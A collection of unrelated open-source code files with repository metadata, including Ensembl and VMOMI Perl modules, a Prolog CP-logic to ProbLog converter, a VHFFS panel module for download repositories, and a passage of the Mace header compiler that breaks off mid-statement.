# Description: ABSTRACT PROTECTED
# The subclass is responsible for implementing this
# method. It should take in a DBI row hash reference
# and return a list of created features in contig
# coordinates.
# Returntype : list of Bio::EnsEMBL::*Features in contig coordinates
# Exceptions : thrown if not implemented by subclass
# Caller : BaseFeatureAdaptor::generic_fetch
sub _objs_from_sth {
throw( "abstract method _objs_from_sth not defined "
. "by implementing subclass of BaseAdaptor" );
}
#_build_id_cache
# Example : my $id_cache = $self->_build_id_cache
# Description: ABSTRACT PROTECTED
# The subclass is responsible for returning an instance
# of the Bio::EnsEMBL::DBSQL::Support::BaseCache
# which can be used to speed up ID based fetch operations
# Returntype : Instance of Bio::EnsEMBL::DBSQL::Support::BaseCache
# Exceptions : Could be thrown by the implementing sub-class
# Caller : BaseAdaptor::_id_cache
sub _build_id_cache {
return;
}
#
# Given a logic name and an existing constraint this will
# add an analysis table constraint to the feature. Note that if no
# analysis_id exists in the columns of the primary table then no
# constraint is added at all
#
sub _logic_name_to_constraint {
my $self = shift;
my $constraint = shift;
my $logic_name = shift;
return $constraint if(!$logic_name);
#make sure that an analysis_id exists in the primary table
my ($prim_tab) = $self->_tables();
my $prim_synonym = $prim_tab->[1];
my $found_analysis=0;
foreach my $col ($self->_columns) {
my ($syn,$col_name) = split(/\./,$col);
next if($syn ne $prim_synonym);
if($col_name eq 'analysis_id') {
$found_analysis = 1;
last;
}
}
if(!$found_analysis) {
warning("This feature is not associated with an analysis.\n" .
"Ignoring logic_name argument = [$logic_name].\n");
return $constraint;
}
my $aa = $self->db->get_AnalysisAdaptor();
my $an = $aa->fetch_by_logic_name($logic_name);
if ( !defined($an) ) {
return;
}
my $an_id = $an->dbID();
$constraint .= ' AND' if($constraint);
$constraint .= " ${prim_synonym}.analysis_id = $an_id";
return $constraint;
}
1;
| muffato/ensembl | modules/Bio/EnsEMBL/DBSQL/BaseAdaptor.pm | Perl | apache-2.0 | 35,467 |
package VMOMI::VirtualDeviceRemoteDeviceBackingOption;
use parent 'VMOMI::VirtualDeviceBackingOption';
use strict;
use warnings;
our @class_ancestors = (
'VirtualDeviceBackingOption',
'DynamicData',
);
our @class_members = (
['autoDetectAvailable', 'BoolOption', 0, ],
);
sub get_class_ancestors {
return @class_ancestors;
}
sub get_class_members {
my $class = shift;
my @super_members = $class->SUPER::get_class_members();
return (@super_members, @class_members);
}
1;
| stumpr/p5-vmomi | lib/VMOMI/VirtualDeviceRemoteDeviceBackingOption.pm | Perl | apache-2.0 | 506 |
package VMOMI::RestrictedByAdministrator;
use parent 'VMOMI::RuntimeFault';
use strict;
use warnings;
our @class_ancestors = (
'RuntimeFault',
'MethodFault',
);
our @class_members = (
['details', undef, 0, ],
);
sub get_class_ancestors {
return @class_ancestors;
}
sub get_class_members {
my $class = shift;
my @super_members = $class->SUPER::get_class_members();
return (@super_members, @class_members);
}
1;
| stumpr/p5-vmomi | lib/VMOMI/RestrictedByAdministrator.pm | Perl | apache-2.0 | 446 |
$|++;
use strict;
use warnings;
BEGIN {
use FindBin qw($Bin);
use lib qq{$Bin/../lib};
}
use File::Spec::Functions qw(catfile);
use Narvalo::Hsbc::Worker;
MAIN:
{
my $file = catfile($Bin, '..', 'etc', 'hsbc.yml');
Narvalo::Hsbc::Worker->new(yml_file => $file)->run();
}
__END__
| chtoucas/Narvalo.PL | bin/hsbc.pl | Perl | bsd-2-clause | 314 |
%#!/home/jan/apps/bin/yap -L --
:- ensure_loaded('converter').
:- ensure_loaded('skolem').
:- ensure_loaded(library(lists)).
:- style_check(all).
:- yap_flag(unknown,error).
:- op( 550, yfx, :: ).
do_convert :-
unix(argv(AllArgs)),
write(cplogic2problog(AllArgs)), nl,
AllArgs = [File], !,
atom_concat([File, '.cpl'], InFile),
atom_concat([File, '-problog-1.pl'], OutFile1),
atom_concat([File, '-problog-2.pl'], OutFile2),
convert_cplogic_file(InFile, OutFile1),
mtf(OutFile1, OutFile2).
do_convert(File) :-
atom_concat([File, '.cpl'], InFile),
atom_concat([File, '-problog-1.pl'], OutFile1),
atom_concat([File, '-problog-2.pl'], OutFile2),
convert_cplogic_file(InFile, OutFile1),
mtf(OutFile1, OutFile2).
% converts input file in cplogic syntax to problog with full negation
% a0:0.5 ; a4:0.5 :- \+ a1, \+ a2, a3.
convert_cplogic_file(In,Out) :-
see(In),
tell(Out),
format(':- use_module(\'problog_neg\').~2n',[]),
load_info,
seen,
told.
% process input
load_info :-
read(X),
(X = end_of_file -> true;
process_read(X),
load_info).
process_read(Atom:P) :- !,
format('~w::~q.~n',[P,Atom]).
process_read( ( Head :- Body ) ) :-
has_choice(Head), !,
head_to_list(Head,List),
append(List,[0-null_null_null],List2),
prepare_neg(Body,Body2),
Rule = (mvs(List2) :- Body2),
to_sk(Rule,Rule_SK),
compile_mvs(Rule_SK).
process_read( Head ) :-
% added case for empty body
has_choice(Head), !,
process_read( (Head :- true) ).
process_read( Logic ) :-
format('~q.~n',[Logic]).
% disjunction in the head is indicated with ";" in CP-logic
head_to_list(Atom:P,[P-Atom]):-
!.
head_to_list((Atom:P; T),[P-Atom|T2]) :-
head_to_list(T,T2).
prepare_neg((\+ Atom),neg(Atom)).
prepare_neg(Atom,Atom) :-
Atom \= (_,_).
prepare_neg((\+ A, B), (neg(A), C) ) :-
!,
prepare_neg(B,C).
prepare_neg((A,B),(A,C)) :-
prepare_neg(B,C).
% disjunction in the head is indicated with ";" in CP-logic
has_choice((_:_)).
has_choice(((_:_);_)).
% moves the msv encoding to the front of the clause body
% input: output file of convert_cplogic_file/2
% note that this results in unexecutable code if switches get ground only in the body!
mtf(In,Out) :-
see(In),
tell(Out),
process,
seen,
told.
process :-
repeat,
read(X),
p(X),
X==end_of_file.
p((:-use_module(X))) :-
write(':-'), writeq(use_module(X)), write('.'), nl.
p(end_of_file).
p((P::F)) :-
format('~w::~q.~n',[P,F]).
p((H:-Body)) :-
move(Body,New),
format('~q :- ~q.~n',[H,New]).
move(Old, Res) :-
goals_to_list(Old, G1),
collect_mvs(G1, MVS, Others),
append(MVS, Others, New),
list_to_goals(New, Res).
collect_mvs([], [], []).
collect_mvs([Goal|R1], L2, L3) :-
(is_mvs(Goal) ->
L2 = [Goal|R2],
collect_mvs(R1, R2, L3)
;
L3 = [Goal|R3],
collect_mvs(R1, L2, R3)
).
is_mvs(neg(_)) :-
!,
fail.
is_mvs(problog_not(X)) :- !,
is_mvs(X).
is_mvs(X) :-
atom_concat('mvs_', _, X).
goals_to_list(G, L) :-
goals_to_list(G, [], L).
goals_to_list((G1, G2), Acc, Res) :- !,
goals_to_list(G2, Acc, NAcc),
goals_to_list(G1, NAcc, Res).
goals_to_list(G, Acc, [G|Acc]).
list_to_goals([], true) :- !.
list_to_goals(L, G) :-
list_to_goals2(L, G).
list_to_goals2([G], G) :- !.
list_to_goals2([G|GS], (G,NGS)) :-
list_to_goals2(GS, NGS).
%:- do_convert.
| verhoevenv/semcplogic | cpl_compiler/cplogic2problog.pl | Perl | bsd-2-clause | 3,403 |
#
# This file is part of Test-File-Content
#
# This software is Copyright (c) 2012 by Moritz Onken.
#
# This is free software, licensed under:
#
# The (three-clause) BSD License
#
use Test::File::Content;
use Test::More;
content_like( qr/\.pm/, qr/^#\s*ABSTRACT/, 'lib' );
content_like( pm => '__PACKAGE__->meta->make_immutable', 'lib/MooseClasses' );
content_unlike({
js => {
'console.log debug statement' => 'console.log',
'never use alert' => qr/[^\.]alert\(/,
},
tt => [
qr/\[% DUMP/,
],
pl => '\$foo',
}, qw(t/code));
done_testing; | gitpan/Test-File-Content | t/synopsis.pl | Perl | bsd-3-clause | 585 |
#!%PERL%
# Copyright (c) vhffs project and its contributors
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in
# the documentation and/or other materials provided with the
# distribution.
#3. Neither the name of vhffs nor the names of its contributors
# may be used to endorse or promote products derived from this
# software without specific prior written permission.
#
#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
#"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
#LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
#FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
#COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
#INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
#BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
#CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
use strict;
use utf8;
package Vhffs::Panel::Repository;
use POSIX qw(locale_h);
use locale;
use Locale::gettext;
use Vhffs::Services::Repository;
use Vhffs::Constants;
=pod
=head2 getall_per_group
$repos = Vhffs::Panel::Repository::getall_per_group($vhffs, $gid);
Returns an array of hashrefs (oid, displayname, active, state (localized string)) of all download
repositories owned by a given group.
=cut
sub getall_per_group {
my ( $vhffs, $gid ) = @_;
my $dbh = $vhffs->get_db;
my $sql = 'SELECT r.object_id AS oid, r.name AS displayname, o.state FROM vhffs_repository r INNER JOIN vhffs_object o ON r.object_id = o.object_id WHERE o.owner_gid = ? ORDER BY r.name';
my $sth = $dbh->prepare($sql) or return -1;
$sth->execute($gid) or return -2;
my $mysql = [];
while(my $m = $sth->fetchrow_hashref) {
$m->{active} = ($m->{state} == Vhffs::Constants::ACTIVATED);
$m->{refused} = ($m->{state} == Vhffs::Constants::VALIDATION_REFUSED);
$m->{state} = Vhffs::Functions::status_string_from_status_id($m->{state});
push @$mysql, $m;
}
return $mysql;
}
sub search_repository {
my ($vhffs, $name) = @_;
my @params;
my $sql = 'SELECT r.name as label, g.groupname as owner_group, o.state, u.username as owner_user '.
'FROM vhffs_repository r '.
'INNER JOIN vhffs_object o ON (o.object_id = r.object_id) '.
'INNER JOIN vhffs_groups g ON (g.gid = o.owner_gid) '.
'INNER JOIN vhffs_users u ON (u.uid = o.owner_uid) ';
if( defined $name ) {
$sql .= 'WHERE r.name LIKE ? ';
push(@params, '%'.lc($name).'%');
}
$sql .= 'ORDER BY label';
my $dbh = $vhffs->get_db();
return $dbh->selectall_arrayref($sql, { Slice => {} }, @params);
}
sub create_repository
{
my( $vhffs , $name , $user , $group, $description ) = @_;
return undef unless defined $user and defined $group;
my $repo = Vhffs::Services::Repository::create( $vhffs , $name , $description, $user , $group );
return undef unless defined $repo;
return $repo;
}
sub create {
my $panel = shift;
my $vhffs = $panel->{'vhffs'};
my $cgi = $panel->{'cgi'};
my $session = $panel->{'session'};
my $user = $panel->{'user'};
my $group = Vhffs::Group::get_by_groupname( $vhffs , scalar $cgi->param('group') );
unless( defined $group and $user->can_modify( $group ) ) {
$panel->render( 'misc/message.tt', { message => gettext( 'You\'re not allowed to do this (ACL rights)' ) } );
return;
}
$panel->set_group( $group );
my $submitted = $cgi->param('repo_submit');
my $description = '';
my $vars = {};
if( $submitted ) {
$description = Encode::decode_utf8( scalar $cgi->param('description') );
unless( defined $description ) {
$panel->add_error( gettext('CGI Error !') );
} else {
$panel->add_error( gettext('You must enter a description') ) unless $description !~ /^\s*$/;
}
unless( $panel->has_errors() ) {
my $repository = Vhffs::Panel::Repository::create_repository( $vhffs, $group->get_groupname, $user, $group , $description );
if( defined $repository ) {
my $url = '?do=groupview;group='.$group->get_groupname.';msg='.gettext('The repository was successfully created !');
$panel->redirect($url);
return;
}
$panel->add_error( gettext('An error occured while creating the object. Check that this group doesn\'t already have a download repository') );
}
$vars->{description} = $description;
}
$panel->set_title( gettext('Create a Download Repository') );
$vars->{group} = $group;
$panel->render( 'repository/create.tt', $vars );
}
sub prefs {
my $panel = shift;
my $vhffs = $panel->{'vhffs'};
my $cgi = $panel->{'cgi'};
my $session = $panel->{'session'};
my $user = $panel->{'user'};
my $repo_name = $cgi->param('name');
unless( defined $repo_name ) {
$panel->render('misc/message.tt', { message => gettext('CGI Error !') });
return;
}
my $repo = Vhffs::Services::Repository::get_by_reponame( $vhffs , $repo_name );
unless( defined $repo ) {
$panel->render('misc/message.tt', { message => gettext('Cannot get informations on this object') });
return;
}
$panel->set_group( $repo->get_group );
unless( $user->can_view( $repo ) ) {
$panel->render('misc/message.tt', { message => gettext( 'You\'re not allowed to do this, object is not in active state or you don\'t have enough ACL rights' )} );
return;
}
update_quota($panel, $repo) if defined $cgi->param('update_quota_submit');
my $vars = { repository => $repo };
$panel->set_title( gettext('Admin Download repository') );
$panel->render('repository/prefs.tt', $vars);
}
sub update_quota {
my $panel = shift;
my $repo = shift;
my $cgi = $panel->{'cgi'};
my $user = $panel->{'user'};
unless($user->is_admin()) {
$panel->add_error( gettext('Only administrators are allowed to do this') );
return;
}
my $quota = $cgi->param('new_quota');
unless(defined $quota and $quota =~ /^\d+$/) {
$panel->add_error( gettext('Invalid quota') );
return;
}
$repo->set_quota($quota);
if($repo->commit < 0) {
$panel->add_error( gettext('Unable to apply modifications, please try again later') );
return;
}
$panel->add_info( gettext('Repository updated, please wait while quota is updated on filesystem') );
}
sub index {
my $panel = shift;
my $vhffs = $panel->{'vhffs'};
my $cgi = $panel->{'cgi'};
my $session = $panel->{'session'};
my $user = $panel->{'user'};
my $group = Vhffs::Group::get_by_groupname( $vhffs , scalar $cgi->param('group') );
unless( defined $group ) {
$panel->render('misc/message.tt', { message => gettext('You have to select a group first') } );
return;
}
unless($group->get_status == Vhffs::Constants::ACTIVATED) {
$panel->render( 'misc/message.tt', { message => gettext('This group is not activated yet') } );
return;
}
unless( $user->can_modify( $group ) ) {
$panel->render('misc/message.tt', { message => gettext( 'You\'re not allowed to do this (ACL rights)' ) } );
return;
}
$panel->set_group( $group );
$panel->set_title( sprintf(gettext('Download repositories for %s'), $group->get_groupname) );
my $repositories = Vhffs::Panel::Repository::getall_per_group( $vhffs, $group->get_gid );
if($repositories < 0) {
$panel->render( 'misc/message.tt', { message => gettext('Unable to get download repositories') } );
return;
}
$panel->render( 'misc/service-index.tt', {
label => 'Download repositories',
group => $group,
list => $repositories,
help_url => $vhffs->get_config->get_service('repository')->{url_doc},
type => 'repository'
});
}
sub search {
my $panel = shift;
return unless $panel->check_modo();
my $vhffs = $panel->{'vhffs'};
my $cgi = $panel->{'cgi'};
my $session = $panel->{'session'};
my $user = $panel->{'user'};
my $name = $cgi->param('name');
my $vars = {};
unless( defined $name ) {
$panel->render('admin/misc/search.tt', {
search_title => gettext('Download repositories search'),
type => 'repository'
});
return;
}
if( $name =~ /^\s*$/ ) {
$vars->{list_title} = gettext('List of all download repositories');
undef $name;
} else {
$vars->{list_title} = sprintf( gettext('Search result for %s'), $name );
}
$vars->{list} = search_repository( $vhffs , $name );
$vars->{type} = 'repository';
$panel->render('admin/misc/list.tt', $vars);
}
sub adminindex {
my $panel = shift;
return unless $panel->check_modo();
my $vhffs = $panel->{'vhffs'};
my $cgi = $panel->{'cgi'};
my $session = $panel->{'session'};
my $user = $panel->{'user'};
$panel->set_title(gettext('Download repositories administration'));
require Vhffs::Panel::Admin;
$panel->render('admin/index.tt', { categories => [ Vhffs::Panel::Admin::get_repo_category() ] } );
}
1;
| najamelan/vhffs-4.5 | vhffs-api/src/Vhffs/Panel/Repository.pm | Perl | bsd-3-clause | 9,208 |
#
# MaceHeaderCompiler.pm : part of the Mace toolkit for building distributed systems
#
# Copyright (c) 2011, Charles Killian, James W. Anderson, Adolfo Rodriguez, Dejan Kostic
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# * Neither the names of the contributors, nor their associated universities
# or organizations may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# ----END-OF-LEGAL-STUFF----
package Mace::Compiler::MaceHeaderCompiler;
use strict;
use Mace::Compiler::MaceHeaderParser;
use Mace::Compiler::Param;
use Mace::Compiler::Type;
use Mace::Util qw(:all);
use Mace::Compiler::GeneratedOn;
use Mace::Compiler::ParseTreeObject::BraceBlock;
use Mace::Compiler::ParseTreeObject::Expression;
use Mace::Compiler::ParseTreeObject::MethodTerm;
use Mace::Compiler::ParseTreeObject::ParsedAbort;
use Mace::Compiler::ParseTreeObject::ParsedAssertMsg;
use Mace::Compiler::ParseTreeObject::ParsedAssert;
use Mace::Compiler::ParseTreeObject::ParsedBinaryAssignOp;
use Mace::Compiler::ParseTreeObject::ParsedCatches;
use Mace::Compiler::ParseTreeObject::ParsedCatch;
use Mace::Compiler::ParseTreeObject::ParsedDefaultCase;
use Mace::Compiler::ParseTreeObject::ParsedDoWhile;
use Mace::Compiler::ParseTreeObject::ParsedElseIf;
use Mace::Compiler::ParseTreeObject::ParsedElseIfs;
use Mace::Compiler::ParseTreeObject::ParsedElse;
use Mace::Compiler::ParseTreeObject::ParsedExpectStatement;
use Mace::Compiler::ParseTreeObject::ParsedExpression;
use Mace::Compiler::ParseTreeObject::ParsedFCall;
use Mace::Compiler::ParseTreeObject::ParsedForLoop;
use Mace::Compiler::ParseTreeObject::ParsedForUpdate;
use Mace::Compiler::ParseTreeObject::ParsedForVar;
use Mace::Compiler::ParseTreeObject::ParsedIf;
use Mace::Compiler::ParseTreeObject::ParsedLogging;
use Mace::Compiler::ParseTreeObject::ParsedLValue;
use Mace::Compiler::ParseTreeObject::ParsedOutput;
use Mace::Compiler::ParseTreeObject::ParsedPlusPlus;
use Mace::Compiler::ParseTreeObject::ParsedCaseOrDefault;
use Mace::Compiler::ParseTreeObject::ParsedReturn;
use Mace::Compiler::ParseTreeObject::ParsedSwitchCase;
use Mace::Compiler::ParseTreeObject::ParsedSwitchCases;
use Mace::Compiler::ParseTreeObject::ParsedSwitchConstant;
use Mace::Compiler::ParseTreeObject::ParsedSwitch;
use Mace::Compiler::ParseTreeObject::ParsedMacro;
use Mace::Compiler::ParseTreeObject::ParsedTryCatch;
use Mace::Compiler::ParseTreeObject::ParsedVar;
use Mace::Compiler::ParseTreeObject::ParsedWhile;
use Mace::Compiler::ParseTreeObject::StatementBlock;
use Mace::Compiler::ParseTreeObject::StatementOrBraceBlock;
use Mace::Compiler::ParseTreeObject::SemiStatement;
use Mace::Compiler::ParseTreeObject::ScopedId;
use Mace::Compiler::ParseTreeObject::ArrayIndex;
use Mace::Compiler::ParseTreeObject::ArrayIndOrFunction;
use Mace::Compiler::ParseTreeObject::ArrayIndOrFunctionParts;
use Mace::Compiler::ParseTreeObject::Expression1;
use Mace::Compiler::ParseTreeObject::Expression2;
use Mace::Compiler::ParseTreeObject::ExpressionLValue;
use Mace::Compiler::ParseTreeObject::ExpressionLValue1;
use Mace::Compiler::ParseTreeObject::ExpressionLValue2;
use Mace::Compiler::ParseTreeObject::ExpressionOrAssignLValue;
use Mace::Compiler::ParseTreeObject::ExpressionOrAssignLValue1;
use Mace::Compiler::ParseTreeObject::StateExpression;
use constant SYNC_NAME => "syncname";
use constant SYNC_ID_FIELDS => "id";
use constant SYNC_TYPE => "type";
use constant SYNC_CALLBACK => "callback";
use constant SYNC_RETURNTYPE => "returntype";
use constant BLOCK_TYPE => "block";
use constant BROADCAST_TYPE => "broadcast";
use Class::MakeMethods::Template::Hash
(
'new --and_then_init' => 'new',
'object' => ['parser' => { class => "Mace::Compiler::MaceHeaderParser" }],
);
sub init {
my $this = shift;
my $p = Mace::Compiler::MaceHeaderParser->new();
$this->parser($p);
} # init
sub compileHeader {
my $this = shift;
my $filename = shift;
my $text = shift;
my $linemap = shift or die("no linemap!");
my $filemap = shift or die("no filemap!");
my $offsetmap = shift or die("no offsetmap!");
# for my $l (@$linemap) {
# print "line: $l\n";
# }
my $sc = $this->parser()->parse($text, $linemap, $filemap, $offsetmap);
my $service = $sc->className();
my $target = $sc->className() . ".h";
my $r = Mace::Compiler::GeneratedOn::generatedOnHeader($target);
my $hname = "_" . uc($filename) . "_H";
$r .= ("#ifndef $hname\n" .
"#define $hname\n");
unless ($sc->isServiceClass()) {
$r .= ("#include \"massert.h\"\n" . '#include' . qq{ "MaceTypes.h"\n});
}
my @allh = ();
for my $el (@{$sc->superclasses()}) {
push(@allh, $this->parseHandlers($el));
}
if ($sc->isServiceClass()) {
unless (grep/ServiceClass/, @{$sc->superclasses()}) {
$sc->push_superclasses("");
}
}
my @c = $sc->superclasses();
if (scalar(@c)) {
@c = map { $_ .= "ServiceClass" } @c;
for my $el (@c) {
$r .= '#include' . qq{ "${el}.h"\n};
}
}
for my $el (@{$sc->handlers()}) {
$r .= '#include' . qq{ "${el}Handler.h"\n};
}
if ($sc->count_auto_types()) {
$r .= '#include' . qq{ "mace-macros.h"\n};
$r .= '#include' . qq{ "Serializable.h"\n};
}
$r .= "\n";
$r .= $sc->pre();
if ($sc->isNamespace()) {
$r .= "\nnamespace " . $sc->className() . " {\n";
}
elsif (!$sc->isAutoType()) {
my $superClasses = "";
@c = $sc->superclasses();
if (scalar(@c)) {
@c = map { $_ .= "ServiceClass" } @c;
unshift(@c, "");
$superClasses = join(", public virtual ", @c);
$superClasses = ": " . substr($superClasses, 2);
}
# $r .= "\nclass " . $sc->className() . " $superClasses {\n";
$r .= "\nclass " . $sc->className() . " $superClasses {\n";
$r .= qq{public:
static ${service}& NULL_;
static const char* name; // = "${\$sc->name()}";
};
$r .= "\n";
}
for my $at ($sc->auto_types()) {
$r .= "\nclass " . $at->name() . ";\n";
}
$r .= join("\n", @{$sc->literals()}) . "\n\n";
for my $at ($sc->auto_types()) {
$at->validateAutoTypeOptions();
$r .= "\n" . $at->toAutoTypeString(body=>1) . "\n";
}
my @syncMethods = ();
for my $meth (@{$sc->methods()}) {
$r .= " #line ".$meth->line()." \"".$meth->filename()."\"\n";
$r .= " " . $meth->toString("rid" => 1);
if ($meth->body()) {
$r .= $meth->body();
}
else {
$r .= qq/ { ABORT("Unimplemented method ${\$meth->name()} in base class ${service} called."); }/;
}
$r .= "\n";
$r .= " // __INSERT_LINE_HERE__\n";
if ($meth->options(SYNC_NAME)) {
push(@syncMethods, $meth);
}
}
if ($sc->isServiceClass()) {
push(@allh, @{$sc->handlers()});
@allh = map { $_ . "Handler" } @allh;
my %allhf = ();
for my $el (@allh) {
$allhf{$el} = 1;
}
@allh = keys(%allhf);
for my $el (@allh) {
$r .= qq# virtual registration_uid_t registerHandler($el& handler, registration_uid_t rid = -1, bool isAppHandler = true) { ABORT("registerHandler method not implemented"); }
virtual void unregisterHandler($el& handler, registration_uid_t rid = -1) { ABORT("unregisterHandler method not implemented"); }
void unregisterUniqueHandler($el& handler) { unregisterHandler(handler); }
virtual void registerUniqueHandler($el& handler, bool isAppHandler = true) { ABORT("registerUniqueHandler method not implemented"); }
#;
}
}
if ($sc->isNamespace()) {
$r .= "\n};\n";
}
elsif (!$sc->isAutoType()) {
$r .= " virtual ~$service() { }\n";
$r .= $sc->maceLiteral();
$r .= "};\n";
}
$r .= $sc->post();
if (scalar(@syncMethods)) {
$r .= $this->generateSyncMethods($sc, @syncMethods);
}
$r .= "\n#endif // $hname\n";
return $r;
} # compileHeader
sub generateResultStructs {
my $this = shift;
my ($asyncMethods, $callbacks) = @_;
my $r = "";
for my $m (@$asyncMethods) {
my $cbname = $m->options(SYNC_CALLBACK);
my $cb = $callbacks->{$cbname};
if ($cb->count_params() == 0) {
$m->options(SYNC_RETURNTYPE, "void");
next;
}
my $name = ucfirst($m->options(SYNC_NAME)) . "Result";
$m->options(SYNC_RETURNTYPE, $name);
my $s = "class $name : public mace::Serializable {\n";
$s .= "public:\n";
$s .= " $name() { }\n";
$s .= " $name(";
my $paramStr = join(", ", map { $_->toString() } $cb->params());
$s .= $paramStr;
$s .= ") : ";
$s .= join(", ", map { $_->name() . "(" . $_->name() . ")" } $cb->params());
$s .= " { }\n";
my $xs = "";
my $nparams = $cb->count_params();
my $xd = qq( for (size_t _i = 0; _i < $nparams; _i++) {
mace::SerializationUtil::expect(in, "<member>");
in >> skipws;
mace::SerializationUtil::expect(in, "<name>");
std::string _k = mace::SerializationUtil::get(in, '<');
mace::SerializationUtil::expect(in, "</name>");
in >> skipws;
mace::SerializationUtil::expect(in, "<value>");
);
my $ifv = "if";
for my $param ($cb->params()) {
my $n = $param->name();
$xd .= qq( $ifv (_k == "$n") {
mace::deserializeXML_RPC(in, &$n, $n);
}
);
if ($ifv eq "if") {
$ifv = "else if";
}
}
$xd .= q( else {
throw mace::SerializationException("unknown member: " + _k);
}
mace::SerializationUtil::expect(in, "</value>");
in >> skipws;
mace::SerializationUtil::expect(in, "</member>");
in >> skipws;
}
);
for my $param ($cb->params()) {
my $n = $param->name();
my $t = $param->type()->type();
$s .= " $t $n;\n";
$xs .= qq{ s.append("<member><name>$n</name><value>");
mace::serializeXML_RPC(s, &$n, $n);
s.append("</value></member>");
};
}
$s .= qq{
void serialize(std::string& str) const { ABORT("serialize method not implemented"); }
int deserialize(std::istream& in) throw(mace::SerializationException) { ABORT("deserialize method not implemented"); }
void serializeXML_RPC(std::string& s) const throw(mace::SerializationException) {
s.append("<struct>");
$xs
s.append("</struct>");
}
int deserializeXML_RPC(std::istream& in) throw(mace::SerializationException) {
std::istream::pos_type __offset = in.tellg();
in >> skipws;
mace::SerializationUtil::expect(in, "<struct>");
in >> skipws;
$xd
mace::SerializationUtil::expect(in, "</struct>");
return in.tellg() - __offset;
}
};
$s .= "};\n\n";
$r .= $s;
}
return $r;
} # generateResultStructs
sub generateSyncMethods {
my $this = shift;
my $sc = shift;
my @asyncMethods = @_;
my $r = "";
my @handlers = ();
for my $el (@{$sc->handlers()}) {
my $f = $el . "Handler.mh";
my $path = findPath($f, @Mace::Compiler::Globals::INCLUDE_PATH);
my @text = readFile("$path/$f");
my @linemap;
my @filemap;
my @offsetmap;
Mace::Compiler::MInclude::getLines("$path/$f", \@text, \@linemap, \@filemap, \@offsetmap);
my $text = join("", @text);
my $h = $this->parser()->parse($text, \@linemap, \@filemap, \@offsetmap);
push(@handlers, $h);
}
my @handlerNames = ();
my @methodNames = ();
my %callbacks = ();
my %handlers = ();
my %asyncMethods = ();
for my $m (@asyncMethods) {
push(@methodNames, $m->name());
my $cb = $m->options(SYNC_CALLBACK);
for my $h (@handlers) {
my $found = 0;
for my $meth (@{$h->methods()}) {
if ($meth->name() eq $cb) {
$asyncMethods{$cb} = $m;
$callbacks{$cb} = $meth;
$handlers{$cb} = $h;
my $handlerClassName = $h->className();
if (!grep($_ eq $handlerClassName, @handlerNames)) {
push(@handlerNames, $h->className());
}
$found = 1;
last;
}
}
if (!$found) {
die ("undefined callback $cb referenced in " . $m->name() . "\n");
}
}
}
my @callbackNames = keys(%callbacks);
$r .= q{
#include "NumberGen.h"
#include "ScopedLock.h"
#include "ScopedLog.h"
#include "mace.h"
#include "Serializable.h"
#include "XmlRpcCollection.h"
};
my $className = "Synchronous" . $sc->name();
$r .= "class $className : ";
$r .= join(", ", map { "public ${_}" } @handlerNames);
$r .= " {\n";
$r .= "\npublic:\n";
$r .= $this->generateResultStructs(\@asyncMethods, \%callbacks);
$r .= "\nprivate:\n";
$r .= " " . $sc->className() . "& _sc;\n";
for my $h (@handlerNames) {
$r .= " $h& " . lcfirst($h) . ";\n";
}
$r .= " registration_uid_t rid;\n";
my $constructorInit = "";
while (my ($cbname, $m) = each(%asyncMethods)) {
my $idType = "";
for my $p ($m->params()) {
if ($p->name() eq $m->options(SYNC_ID_FIELDS)) {
$idType = $p->type()->type();
last;
}
}
my $name = $m->name();
my $returntype = $m->options(SYNC_RETURNTYPE);
if ($returntype eq "void") {
$r .= qq{
uint64_t ${name}Flag;
};
$constructorInit .= ", ${name}Flag(0)";
}
else {
$r .= qq{
typedef mace::map<$idType, boost::shared_ptr<$returntype>, mace::SoftState> ${returntype}Map;
typedef mace::map<$idType, uint64_t, mace::SoftState> ${returntype}AsyncMap;
${returntype}Map ${name}Results;
${returntype}AsyncMap ${name}Flags;
};
}
$r .= " pthread_cond_t ${name}Signal;\n";
}
$r .= "\npublic:\n";
$r .= " $className(" . $sc->className() . "& sc, ";
